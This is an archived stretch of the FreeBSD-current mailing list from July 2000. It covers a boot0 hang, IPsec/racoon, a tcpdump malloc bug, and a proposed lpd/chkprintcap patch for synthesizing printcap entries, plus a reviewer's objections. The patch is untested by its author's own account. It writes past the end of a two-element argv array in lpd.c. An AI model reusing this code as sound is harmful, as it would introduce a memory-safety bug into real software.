jhb@foo.osd.bsdi.com) Received: from foo.osd.bsdi.com (root@foo.osd.bsdi.com [204.216.28.137]) by pike.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id NAA22093; Fri, 14 Jul 2000 13:39:16 -0700 (PDT) (envelope-from jhb@foo.osd.bsdi.com) Received: (from jhb@localhost) by foo.osd.bsdi.com (8.9.3/8.9.3) id NAA70641; Fri, 14 Jul 2000 13:38:45 -0700 (PDT) (envelope-from jhb) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20000714120049.A8983@freebsd.org> Date: Fri, 14 Jul 2000 13:38:44 -0700 (PDT) Organization: BSD, Inc. From: John Baldwin To: "Andrey A. Chernov" Subject: RE: New boot0 not work with ahc Cc: current@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 14-Jul-00 Andrey A. Chernov wrote: > New boot0 cause dead hang (nothing appearse on the screen) > with Adaptec SCSI BIOS > ahc0: > Standard MBR works fine. All in first 1024 cyls. Errm, do you have some more details? > dmesg | egrep 'ah|da' ahc0: port 0x9c00-0x9cff mem 0xe1102000-0xe1102fff irq 10 at device 13.0 on pci0 ahc0: aic7880 Wide Channel A, SCSI Id=7, 16/255 SCBs ppc0: at port 0x378-0x37b irq 7 on isa0 Mounting root from ufs:/dev/da0s1a da0 at ahc0 bus 0 target 1 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 10.000MB/s transfers (10.000MHz, offset 15), Tagged Queueing Enabled da0: 8682MB (17781520 512 byte sectors: 255H 63S/T 1106C) > sudo boot0cfg -v da0 # flag start chs type end chs offset size 1 0x80 0: 1: 1 0xa5 1023:254:63 63 17767827 version=1.1 drive=0x80 mask=0xf ticks=182 options=packet,update,nosetdrv > sudo fdisk ******* Working on device /dev/da0 ******* parameters extracted from in-core disklabel are: cylinders=1106 heads=255 sectors/track=63 (16065 blks/cyl) Figures below won't work with BIOS for partitions not in cyl 1 parameters to be used for BIOS calculations are: cylinders=1106 heads=255 sectors/track=63 (16065 blks/cyl) fdisk: invalid fdisk partition table found Media sector size is 512 Warning: BIOS sector numbering starts with sector 1 Information from DOS bootblock is: The data for partition 1 is: The data for partition 2 is: The data for partition 3 is: The data for partition 4 is: sysid 165,(FreeBSD/NetBSD/386BSD) start 63, size 17751825 (8667 Meg), flag 80 (active) beg: cyl 0/ sector 1/ head 1; end: cyl 81/ sector 63/ head 0 > uname -a FreeBSD bar.osd.bsdi.com 5.0-CURRENT FreeBSD 5.0-CURRENT #10: Thu Jul 13 16:02:28 PDT 2000 root@bar.osd.bsdi.com:/usr/src/sys/compile/BAR i386 Boots fine. -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.cslab.vt.edu/~jobaldwi/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 14: 4:40 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id 5756C37BF3A; Fri, 14 Jul 2000 14:04:36 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id OAA28483; Fri, 14 Jul 2000 14:04:36 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Fri, 14 Jul 2000 14:04:35 -0700 (PDT) From: Kris Kennaway To: Mark Huizer Cc: current@freebsd.org Subject: Re: -current, racoon, ipsec In-Reply-To: <20000714185044.A46560@dohd.cx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 14 Jul 2000, Mark Huizer wrote: > Grr... ok, that might be solved when putting IPSEC in the kernel config, > but the second part still stands, I guess. (Why include libipsec code > when it is in the base tree... they should be compatible) Just use the port. I presume the included copy of ipsec is there for other platforms. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 14:40:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id A5BE937BAE0 for ; Fri, 14 Jul 2000 14:39:55 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id RAA88779; Fri, 14 Jul 2000 17:39:55 -0400 (EDT) (envelope-from wollman) Date: Fri, 14 Jul 2000 17:39:55 -0400 (EDT) From: Garrett Wollman Message-Id: <200007142139.RAA88779@khavrinen.lcs.mit.edu> To: current@freebsd.org Subject: Request for comments: new `lpd' suite feature Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Around here, we have a convention that each printer has a record in the DNS for printername.lpd-spooler which points to the print server for that printer. It occurred to me that, if there are no local printers, no additional information is needed for lpr and lpd to operate -- thus obviating the need for that pesky `/etc/printcap' file which never seems to be stay up-to-date. Here is some code which I am planning to commit soon (after I've actually tested it) which does precisely that. The patch also contains a few bug fixes and enhancements for chkprintcap(8). (I've already noticed some bugs in reading this patch.) Index: chkprintcap/chkprintcap.8 =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/chkprintcap/chkprintcap.8,v retrieving revision 1.3 diff -u -r1.3 chkprintcap.8 --- chkprintcap/chkprintcap.8 1999/08/28 01:16:46 1.3 +++ chkprintcap/chkprintcap.8 2000/07/14 19:35:10 @@ -26,7 +26,7 @@ .\" SUCH DAMAGE. .\" .\" $FreeBSD: src/usr.sbin/lpr/chkprintcap/chkprintcap.8,v 1.3 1999/08/28 01:16:46 peter Exp $ -.Dd November 30, 1997 +.Dd July 14, 2000 .Dt CHKPRINTCAP 8 .Os .Sh NAME @@ -34,7 +34,7 @@ .Nd check validity of entries in the print spooler database .Sh SYNOPSIS .Nm chkprintcap -.Op Fl d +.Op Fl ds .Op Fl f Ar printcap .Sh DESCRIPTION .Nm Chkprintcap @@ -60,6 +60,13 @@ .Sq Li sd= capability .Pc . +.It +Every spool directory is owned by the daemon user +.Po +.Sq Li du# +capability +.Pc , +and is only writable by that user. .El .Pp .Nm Chkprintcap @@ -68,6 +75,15 @@ entire file is scanned.) .Pp If the +.Fl s +flag is used, +.Nm chkprintcap +will +.Dq synthesize +a printer database, as described in +.Xr lpd 8 . +.Pp +If the .Fl d flag is given, .Nm chkprintcap @@ -79,6 +95,13 @@ .Sq Li du= capability in the database (default 1, which corresponds to user .Sq Li daemon ) . +.Sh FILES +.Bl -tag -width "/var/spool/output" +.It Pa /var/spool/output +default directory scanned for spool directories by the +.Fl s +option. +.El .Sh SEE ALSO .Xr lpr 1 , .Xr printcap 5 , @@ -89,8 +112,6 @@ command was written by .An Garrett A. Wollman Aq wollman@lcs.mit.edu . .Sh BUGS -Not enough sanity-checking is done. At a minimum, the ownership and -mode of the spool directories should also be checked. Other -parameters whose value could cause +Other parameters whose value could cause .Xr lpd 8 to fail should be diagnosed. Index: chkprintcap/chkprintcap.c =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/chkprintcap/chkprintcap.c,v retrieving revision 1.5 diff -u -r1.5 chkprintcap.c --- chkprintcap/chkprintcap.c 2000/05/26 02:08:31 1.5 +++ chkprintcap/chkprintcap.c 2000/07/14 20:23:18 @@ -1,5 +1,5 @@ /* - * Copyright 1997 Massachusetts Institute of Technology + * Copyright 1997, 2000 Massachusetts Institute of Technology * * Permission to use, copy, modify, and distribute this software and * its documentation for any purpose and without fee is hereby @@ -28,7 +28,7 @@ */ static const char copyright[] = - "Copyright (C) 1997, Massachusetts Institute of Technology\r\n"; + "Copyright 1997, 2000 Massachusetts Institute of Technology\r\n"; static const char rcsid[] = "$FreeBSD: src/usr.sbin/lpr/chkprintcap/chkprintcap.c,v 1.5 2000/05/26 02:08:31 jake Exp $"; @@ -38,7 +38,7 @@ #include #include -#include +#include #include #include #include @@ -57,6 +57,15 @@ static int problems; /* number of problems encountered */ +#ifndef SPOOL_DIR_MODE +#define SPOOL_DIR_MODE (S_IRUSR | S_IWUSR | S_IXUSR \ + | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH) +#endif +#define ALL_MODE_BITS (S_IRUSR | S_IWUSR | S_IXUSR \ + | S_IRGRP | S_IWGRP | S_IXGRP \ + | S_IROTH | S_IWOTH | S_IXOTH \ + | S_ISUID | S_ISGID | S_ISVTX) + /* * chkprintcap - check the printcap file for syntactic and semantic errors * Returns the number of problems found. @@ -64,13 +73,14 @@ int main(int argc, char **argv) { - int c, error, makedirs, more; + int c, error, makedirs, gotone; struct printer myprinter, *pp; + do_synthesize_printcap = 0; makedirs = 0; pp = &myprinter; - while ((c = getopt(argc, argv, "df:")) != -1) { + while ((c = getopt(argc, argv, "df:s")) != -1) { switch (c) { case 'd': makedirs = 1; @@ -80,6 +90,10 @@ setprintcap(optarg); break; + case 's': + do_synthesize_printcap = 1; + break; + default: usage(); } @@ -87,12 +101,13 @@ if (optind != argc) usage(); + + gotone = firstprinter(pp, &error); - more = firstprinter(pp, &error); - if (interpret_error(pp, error) && more) + if (interpret_error(pp, error) && gotone) goto next; - while (more) { + while (gotone) { struct stat stab; errno = 0; @@ -107,12 +122,26 @@ note_spool_dir(pp, &stab); } - /* Make other validity checks here... */ + if ((stab.st_mode & ALL_MODE_BITS) != SPOOL_DIR_MODE) { + problems++; + warnx("%s: %s: mode is %#lo, should be %#lo", + pp->printer, pp->spool_dir, + (u_long)(stab.st_mode & ALL_MODE_BITS), + (u_long)SPOOL_DIR_MODE); + } + if (stab.st_uid != pp->daemon_user) { + problems++; + warnx("%s: %s: owner is %ld, should be %ld", + pp->printer, pp->spool_dir, (long)stab.st_uid, + (long)pp->daemon_user); + } + + /* Make other validity checks here... */ next: - more = nextprinter(pp, &error); - if (interpret_error(pp, error) && more) - goto next; + do { + gotone = nextprinter(pp, &error); + } while (interpret_error(pp, error) && gotone); } check_spool_dirs(); return problems; @@ -136,6 +165,8 @@ case PCAPERR_TCOPEN: warnx("%s: unresolved tc= expansion", pp->printer); return 1; + case PCAPERR_NOTFOUND: + return 1; case PCAPERR_SUCCESS: break; default: @@ -226,20 +257,14 @@ } continue; } - /* Should probably check owners and modes here. */ } } -#ifndef SPOOL_DIR_MODE -#define SPOOL_DIR_MODE (S_IRUSR | S_IWUSR | S_IXUSR \ - | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH) -#endif - static void make_spool_dir(const struct printer *pp) { char *sd = pp->spool_dir; - struct group *gr; + struct passwd *pw; struct stat stab; if (mkdir(sd, S_IRUSR | S_IXUSR) < 0) { @@ -247,20 +272,22 @@ warn("%s: mkdir %s", pp->printer, sd); return; } - gr = getgrnam("daemon"); - if (gr == 0) - errx(++problems, "cannot locate daemon group"); + + pw = getpwuid(pp->daemon_user); + if (pw == 0) + errx(++problems, "cannot locate daemon user"); - if (chown(sd, pp->daemon_user, gr->gr_gid) < 0) { + if (chown(sd, pp->daemon_user, pw->pw_gid) < 0) { ++problems; warn("%s: cannot change ownership to %ld:%ld", sd, - (long)pp->daemon_user, (long)gr->gr_gid); + (long)pp->daemon_user, (long)pw->pw_gid); return; } if (chmod(sd, SPOOL_DIR_MODE) < 0) { ++problems; - warn("%s: cannot change mode to %lo", sd, (long)SPOOL_DIR_MODE); + warn("%s: cannot change mode to %#lo", sd, + (u_long)SPOOL_DIR_MODE); return; } if (stat(sd, &stab) < 0) @@ -272,6 +299,6 @@ static void usage(void) { - fprintf(stderr, "usage:\n\tchkprintcap [-d] [-f printcapfile]\n"); + fprintf(stderr, "usage:\n\tchkprintcap [-ds] [-f printcapfile]\n"); exit(1); } Index: common_source/lp.h =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/common_source/lp.h,v retrieving revision 1.11 diff -u -r1.11 lp.h --- common_source/lp.h 2000/05/26 02:08:37 1.11 +++ common_source/lp.h 2000/07/14 18:51:22 @@ -137,6 +137,8 @@ /* * Global definitions for the line printer system. */ +extern int do_synthesize_printcap; + extern char line[BUFSIZ]; extern char *name; /* program name */ /* host machine name */ @@ -230,5 +232,8 @@ int startdaemon __P((const struct printer *pp)); char *status_file_name __P((const struct printer *pp, char *buf, size_t len)); +int synfirstprinter __P((struct printer *pp, int *status)); +int synnextprinter __P((struct printer *pp, int *status)); +void synlastprinter __P((void)); ssize_t writel __P((int s, ...)); __END_DECLS Index: common_source/lp.local.h =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/common_source/lp.local.h,v retrieving revision 1.2 diff -u -r1.2 lp.local.h --- common_source/lp.local.h 1997/10/14 16:00:34 1.2 +++ common_source/lp.local.h 2000/07/14 18:20:11 @@ -42,6 +42,7 @@ */ #define DEFLP "lp" #define DEFLOCK "lock" +#define DEFLOG "log" #define DEFSTAT "status" #define DEFMX 1000 #define DEFMAXCOPIES 0 @@ -50,6 +51,7 @@ #define DEFLENGTH 66 #define DEFUID 1 #define DEFTIMEOUT 120 +#define DEFSPOOLERDOM ".lpd-spooler" /* * When files are created in the spooling area, they are normally Index: common_source/pathnames.h =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/common_source/pathnames.h,v retrieving revision 1.2 diff -u -r1.2 pathnames.h --- common_source/pathnames.h 1997/12/02 20:45:24 1.2 +++ common_source/pathnames.h 2000/07/14 17:39:30 @@ -37,6 +37,7 @@ #define _PATH_DEFDEVLP "/dev/lp" #define _PATH_DEFSPOOL "/var/spool/output/lpd" +#define _PATH_DEFSPOOLDIR "/var/spool/output" #define _PATH_HOSTSEQUIV "/etc/hosts.equiv" #define _PATH_HOSTSLPD "/etc/hosts.lpd" #define _PATH_MASTERLOCK "/var/spool/output/lpd.lock" Index: common_source/printcap.c =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/common_source/printcap.c,v retrieving revision 1.6 diff -u -r1.6 printcap.c --- common_source/printcap.c 1999/08/28 01:16:48 1.6 +++ common_source/printcap.c 2000/07/14 20:22:52 @@ -43,14 +43,16 @@ "$FreeBSD: src/usr.sbin/lpr/common_source/printcap.c,v 1.6 1999/08/28 01:16:48 peter Exp $"; #endif /* not lint */ +#include +#include + +#include #include #include #include #include #include -#include /* required for lp.h, but not used here */ -#include /* ditto */ #include "lp.h" #include "lp.local.h" #include "pathnames.h" @@ -60,14 +62,28 @@ */ static char *printcapdb[2] = { _PATH_PRINTCAP, 0 }; /* list for cget* */ +static int dbfirstprinter(struct printer *pp, int *error); +static int dbnextprinter(struct printer *pp, int *error); +static void dblastprinter(struct printer *pp, int *error); static char *capdb_canonical_name(const char *); static int capdb_getaltlog(char *, const char *, const char *); static int capdb_getaltnum(char *, const char *, const char *, long, long *); static int capdb_getaltstr(char *, const char *, const char *, const char *, char **); static int getprintcap_int(char *bp, struct printer *pp); +static int synthesize_printcap(const char *printer, struct printer *pp); +static int synfirstprinter(struct printer *pp, int *error); +static int synnextprinter(struct printer *pp, int *error); +static void synlastprinter(void); +static DIR *synth_dir; /* + * lpd(8) and chkprintcap(8) set this to +1 in order to force the synthetic + * printcap to be used all the time. + */ +int do_synthesize_printcap = -1; + +/* * Change the name of the printcap file. Used by chkprintcap(8), * but could be used by other members of the suite with appropriate * security measures. @@ -101,8 +117,18 @@ * to hide the constness of its third argument. */ XXX = (char *)printer; - if ((status = cgetent(&bp, printcapdb, XXX)) < 0) + errno = 0; + if (do_synthesize_printcap > 0) { + status = synthesize_printcap(printer, pp); return status; + } + + if ((status = cgetent(&bp, printcapdb, XXX)) < 0) { + if (status == PCAPERR_OSERR + && errno == ENOENT && do_synthesize_printcap) + status = synthesize_printcap(printer, pp); + return status; + } status = getprintcap_int(bp, pp); free(bp); return status; @@ -139,10 +165,10 @@ /* * Scan through the database of printers using cgetfirst/cgetnext. - * Return false of error or end-of-database; else true. + * Return false on error or end-of-database; else true. */ -int -firstprinter(struct printer *pp, int *error) +static int +dbfirstprinter(struct printer *pp, int *error) { int status; char *bp; @@ -163,8 +189,8 @@ return 1; } -int -nextprinter(struct printer *pp, int *error) +static int +dbnextprinter(struct printer *pp, int *error) { int status; char *bp; @@ -185,8 +211,8 @@ return 1; } -void -lastprinter(void) +static void +dblastprinter(void) { cgetclose(); } @@ -273,7 +299,7 @@ pp->rp_matches_local = 1; CHK((error = capdb_getaltstr(bp, "rp", "remote.queue", 0, &rp_name))); if (error != PCAPERR_NOTFOUND && rp_name != NULL) { - if (cgetmatch(bp,rp_name) != 0) + if (cgetmatch(bp, rp_name) != 0) pp->rp_matches_local = 0; free(rp_name); } @@ -352,6 +378,136 @@ init_printer(pp); } + +/* + * Invent a struct printer in PP for a printer named PRINTER. + * This is intended for large sites where distributing the printcap file + * is a pain; it will infer from the presence of spool directories + * in _PATH_DEFSPOOLDIR a printcap entry with rm=%s.lpd-spooler and + * rp=%s (following the convention used at MIT-LCS where the author + * currently works). + */ +int +synthesize_printcap(const char *printer, struct printer *pp) +{ + char *spooldir; + struct stat stab; + + asprintf(&spooldir, "%s/%s", _PATH_DEFSPOOLDIR, printer); + if (spooldir == 0) + return PCAPERR_OSERR; + + errno = 0; + if (stat(spooldir, &stab) < 0) { + if (errno == ENOENT) + return PCAPERR_NOTFOUND; + else + return PCAPERR_OSERR; + } + + /* Ignore non-directories. */ + if (!S_ISDIR(stab.st_mode)) + return PCAPERR_NOTFOUND; + + /* OK, we think this one is a winner. */ + init_printer(pp); + pp->printer = strdup(printer); + pp->conn_timeout = DEFTIMEOUT; + pp->daemon_user = DEFUID; + pp->form_feed = strdup(DEFFF); + pp->log_file = strdup(DEFLOG); + pp->lock_file = strdup(DEFLOCK); + pp->lp = strdup(_PATH_DEVNULL); + pp->max_copies = DEFMAXCOPIES; + pp->max_blocks = DEFMX; + pp->page_length = DEFLENGTH; + pp->page_width = DEFWIDTH; + asprintf(&pp->remote_host, "%s%s", printer, DEFSPOOLERDOM); + pp->remote_queue = strdup(printer); + pp->spool_dir = spooldir; + pp->status_file = strdup(DEFSTAT); + pp->rp_matches_local = 1; + + return 0; +} + +static int +synfirstprinter(struct printer *pp, int *error) +{ + struct dirent *dp; + int status; + + init_printer(pp); /* inoculate */ + + errno = 0; + synth_dir = opendir(_PATH_DEFSPOOLDIR); + if (synth_dir == 0) { + if (error != 0) + *error = ((errno == ENOENT) + ? PCAPERR_NOTFOUND : PCAPERR_OSERR); + return 0; + } + + return (synnextprinter(pp, error)); +} + +static int +synnextprinter(struct printer *pp, int *error) +{ + int status; + struct dirent *dp; + + free_printer(pp); + status = 0; + + do { + dp = readdir(synth_dir); + if (dp == 0) { + if (error != 0) + *error = 0; + return 0; + } + } while (dp->d_name[0] == '.' + || (status = synthesize_printcap(dp->d_name, pp)) != 0); + if (error) + *error = status; + return (status == 0); +} + +static void +synlastprinter(void) +{ + if (synth_dir != 0) + closedir(synth_dir); +} + +int +firstprinter(struct printer *pp, int *error) +{ + if (do_synthesize_printcap) + return synfirstprinter(pp, error); + else + return dbfirstprinter(pp, error); +} + +int +nextprinter(struct printer *pp, int *error) +{ + if (do_synthesize_printcap) + return synnextprinter(pp, error); + else + return dbnextprinter(pp, error); +} + +void +lastprinter(void) +{ + if (do_synthesize_printcap) + synlastprinter(); + else + dblastprinter(); +} + /* Index: lpd/lpd.8 =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/lpd/lpd.8,v retrieving revision 1.15 diff -u -r1.15 lpd.8 --- lpd/lpd.8 2000/03/29 11:15:54 1.15 +++ lpd/lpd.8 2000/07/14 21:01:38 @@ -40,7 +40,7 @@ .Nd line printer spooler daemon .Sh SYNOPSIS .Nm lpd -.Op Fl dlp +.Op Fl dlps .Op Ar port# .Sh DESCRIPTION .Nm Lpd @@ -88,6 +88,14 @@ but can be changed with the .Ar port# argument. +.It Fl s +When this option is given, +.Nm +ignores the +.Pa /etc/printcap +file and +.Dq synthesizes +printer queue information as described below. .El .Pp Access control is provided by two means. @@ -234,6 +242,54 @@ .Xr lpq 1 and .Xr lprm 1 . +.Ss Synthesizing Printer Definitions +The +.Nm lpd +program is capable of operating without a +.Pa /etc/printcap +file, in certain restricted configurations, when the +.Fl s +flag is given on the command line. This functionality is intended for +workstations at large sites where distributing +.Pa /etc/printcap +is inconvenient, and most client workstations do not need access to +all of the available printers. The following conditions must be met: +.Bl -enum -offset indent +.It +No printers are attached locally to a client. +.It +The queue names on the print servers are the same as the queue names on +every client. +.It +The mapping of printers to servers is stored in the Domain Name System +(or equivalent), using aliases of the form +.Dq Sy printername Ns Li .lpd-spooler +(the target of which is the print server for that printer). +.It +Any necessary accounting or filtering must be performed on the print +servers and not on the clients. +.It +Only one name is used to refer to each distinct printer or queue. +.El +.Pp +The +.Fl s +option works by scanning the +.Pa /var/spool/output +directory. Each subdirectory found is interpreted as a spool +directory for the printer of the same name. The defaults described in +.Xr printcap 5 +apply for all capabilities, except: +.Pp +.Bl -tag -compact -offset indent -width indent +.It Li lf +.Pa log +(in the spool directory) +.It Li lp +.Pa /dev/null +.It Li rp +name of the printer +.El .Sh FILES .Bl -tag -width "/var/spool/*/minfree" -compact .It Pa /etc/printcap Index: lpd/lpd.c =================================================================== RCS file: /home/cvs/src/usr.sbin/lpr/lpd/lpd.c,v retrieving revision 1.13 diff -u -r1.13 lpd.c --- lpd/lpd.c 2000/03/29 11:15:54 1.13 +++ lpd/lpd.c 2000/07/14 21:22:36 @@ -134,6 +134,7 @@ sigset_t omask, nmask; struct servent *sp, serv; + do_synthesize_printcap = 0; euid = geteuid(); /* these shouldn't be different */ uid = getuid(); options = 0; @@ -145,7 +146,7 @@ errx(EX_NOPERM,"must run as root"); errs = 0; - while ((i = getopt(argc, argv, "dlp")) != -1) + while ((i = getopt(argc, argv, "dlps")) != -1) switch (i) { case 'd': options |= SO_DEBUG; @@ -156,6 +157,9 @@ case 'p': pflag++; break; + case 's': + do_synthesize_printcap = 1; + break; default: errs++; } @@ -192,12 +196,25 @@ { pid_t pid; int status; - pid = fork(); + char *argv[2]; + + argv[0] = _PATH_CHKPRINTCAP; + if (do_synthesize_printcap) { + argv[1] = "-s"; + argv[2] = 0; + } else + argv[1] = 0; + + pid = vfork(); if (pid < 0) { err(EX_OSERR, "cannot fork"); } else if (pid == 0) { /* child */ - execl(_PATH_CHKPRINTCAP, _PATH_CHKPRINTCAP, (char *)0); - err(EX_OSERR, "cannot execute %s", _PATH_CHKPRINTCAP); + execv(_PATH_CHKPRINTCAP, argv); + write(STDERR_FILENO, "cannot execute ", 15); + write(STDERR_FILENO, _PATH_CHKPRINTCAP, + sizeof(_PATH_CHKPRINTCAP) - 1); + write(STDERR_FILENO, "\n", 1); + _exit(1); } if (waitpid(pid, &status, 0) < 0) { err(EX_OSERR, "cannot wait"); @@ -205,6 +222,9 @@ if (WIFEXITED(status) && WEXITSTATUS(status) != 0) errx(EX_OSFILE, "%d errors in printcap file, exiting", WEXITSTATUS(status)); + else if (WIFSIGNALED(status)) + errx(EX_OSFILE, "%s exited on signal %d", + _PATH_CHKPRINTCAP, WTERMSIG(status)); } #ifndef DEBUG @@ -227,7 +247,7 @@ lfd = open(_PATH_MASTERLOCK, O_WRONLY|O_CREAT|O_EXLOCK|O_NONBLOCK, LOCK_FILE_MODE); if (lfd < 0) { - if (errno == EWOULDBLOCK) /* active deamon present */ + if (errno == EWOULDBLOCK) /* active daemon present */ exit(0); syslog(LOG_ERR, "%s: %m", _PATH_MASTERLOCK); exit(1); @@ -638,6 +658,6 @@ static void usage() { - fprintf(stderr, "usage: lpd [-dlp] [port#]\n"); + fprintf(stderr, "usage: lpd [-dlps] [port#]\n"); exit(EX_USAGE); } To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 16: 3:14 2000 Delivered-To: freebsd-current@freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (Postfix) with ESMTP id B3A2037B9FF for ; Fri, 14 Jul 2000 16:03:08 -0700 (PDT) (envelope-from kris@FreeBSD.org) Received: from localhost (kris@localhost) by freefall.freebsd.org (8.9.3/8.9.2) with ESMTP id QAA42365 for ; Fri, 14 Jul 2000 16:03:09 -0700 (PDT) (envelope-from kris@FreeBSD.org) X-Authentication-Warning: freefall.freebsd.org: kris owned process doing -bs Date: Fri, 14 Jul 2000 16:03:08 -0700 (PDT) From: Kris Kennaway To: current@freebsd.org Subject: tcpdump malloc bug Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG citusc17# ln -s AJ /etc/malloc.conf citusc17# tcpdump tcpdump: [CRAP DELETED]: Device not configured This is true on 4.0-S as well, where I actually first found it. Kris -- In God we Trust -- all others must submit an X.509 certificate. -- Charles Forsythe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 16:19:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 821F537C112 for ; Fri, 14 Jul 2000 16:19:47 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id TAA69876; Fri, 14 Jul 2000 19:19:44 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: <200007142139.RAA88779@khavrinen.lcs.mit.edu> References: <200007142139.RAA88779@khavrinen.lcs.mit.edu> Date: Fri, 14 Jul 2000 19:20:46 -0400 To: Garrett Wollman , current@FreeBSD.ORG From: Garance A Drosihn Subject: Re: Request for comments: new `lpd' suite feature Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 5:39 PM -0400 7/14/00, Garrett Wollman wrote: >Around here, we have a convention that each printer has a record >in the DNS for printername.lpd-spooler which points to the print >server for that printer. It occurred to me that, if there are no >local printers, no additional information is needed for lpr and >lpd to operate -- thus obviating the need for that pesky >`/etc/printcap' file which never seems to be stay up-to-date. and in the update, he wrote comments which said: > This is intended for large sites where distributing the > printcap file is a pain; it will infer from the presence > of spool directories in _PATH_DEFSPOOLDIR a printcap entry > with rm=%s.lpd-spooler and rp=%s (following the convention > used at MIT-LCS where the author currently works). I can sympathize with the idea of getting rid of /etc/printcap, but I admit this strategy perplexes me. How is it easier for you to keep the "presence of spool directories" up to date, than it is to keep /etc/printcap up-to-date? Speaking for my lpd use here at RPI, it is MUCH easier for us (RPI) to keep printcap files in sync than it is to rely that the contents of a directory on the local hard disk is magically correct. Further, if you really CAN keep that up-to-date easier, then it seems to me pretty trivial to write some perl script or routine in chkprinter which simply creates /etc/printcap from those directories. From my reading of your update, you have this "synthetic" printcap file which lpd knows about, but you never write that out anywhere. At least at RPI, we do have other processes which check the /etc/printcap file to make decisions. If that file does not exist, or is not accurate, then those other processes will not work right. I would also say that here at RPI (at least), we have plenty of things in the printcap entries which are not covered by this strategy. Most notably, printer aliases. Every printer we have has multiple names. How are multiple names handled in this situation? Obviously I am just writing the first things which come to my mind in ten minutes of me looking at this update (late on a friday evening!), but it strikes me that this is too much a matter of codifying into freebsd's lpd something which is rather specific to MIT practices. This may very well be useful for other people too, but I can't imagine how I would make any use of this at RPI. That by itself is not important, but (if I am reading your update correctly) it means that there are now "two ways" that the code will deal with printcap files. When someone makes an update (such as adding new fields to 'struct printer'), they will have to be sure to make the update in both places. This makes me queasy. Also, I wonder how all this fits in with the discussion in -arch which has been going (on and off) about replacing lpr in FreeBSD with lprNG. That's not my idea, but I do know I have been holding off some lpr/lpd updates of my own until I have some idea what is going to happen with that. If freebsd is going to switch to lprNG, then this is just one more little oddity which (I think) lprNG will not handle quite the same way. Me, I am interested in ways to make printcap files more automated, but this strategy which may work well in MIT's environment would not make any sense in ours... Disclaimer Reminder: I've only SKIMMED through the actual update, so I may misunderstand what it's doing... Apologies if I have done that. --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 16:23:17 2000 Delivered-To: freebsd-current@freebsd.org Received: from wopr.caltech.edu (wopr.caltech.edu [131.215.102.114]) by hub.freebsd.org (Postfix) with ESMTP id 9641E37B9FF; Fri, 14 Jul 2000 16:23:13 -0700 (PDT) (envelope-from mph@wopr.caltech.edu) Received: (from mph@localhost) by wopr.caltech.edu (8.9.3/8.9.3) id QAA89996; Fri, 14 Jul 2000 16:23:11 -0700 (PDT) (envelope-from mph) Date: Fri, 14 Jul 2000 16:23:11 -0700 From: Matthew Hunt To: Kris Kennaway Cc: current@FreeBSD.ORG Subject: Re: tcpdump malloc bug Message-ID: <20000714162311.A89936@wopr.caltech.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from kris@FreeBSD.ORG on Fri, Jul 14, 